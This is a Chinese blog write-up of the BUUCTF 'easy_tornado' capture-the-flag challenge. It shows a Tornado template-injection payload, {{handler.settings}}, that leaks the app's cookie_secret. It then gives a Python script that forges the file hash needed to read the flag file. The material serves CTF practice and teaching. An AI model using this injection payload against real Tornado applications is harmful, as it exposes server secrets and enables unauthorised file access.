【BUUCTF-Web】easy_tornado

点开hints.txt

 

提示cookie_secret+md5(filename)的md5

那就需要先知道cookie_secret和filename

查看/flag.txt

flag in /fllllllllllllag

 

 查看/welcome.txt(提示模板注入)

render()函数是Django中的渲染,想到ssti

tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥

 

 

根据/hints.txt中的信息,filename=/fllllllllllllag的md5:3bf9f6cf685a6dd8defadabfb41a03a1

先直接访问和在参数位置访问一下/fllllllllllllag看看

 

返回ERROR

然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 我们得想办法获得cookie_secret

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

payload:

http://13bb9f10-d2a9-428f-8148-0b42271a1c94.node3.buuoj.cn/error?msg={{handler.settings}}

成功拿到cookie_secret

 在经过md5处理,此处通过py脚本

import hashlib
hash = hashlib.md5()

filename='/fllllllllllllag'
cookie_secret="ee700b2d-63a7-40fb-a52c-2df6ccd7f4fa"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

得到结果

 payload:

file?filename=/fllllllllllllag&filehash=4902375dc38dfcc2892f431dae5e08a7

 得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RexHarrr

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值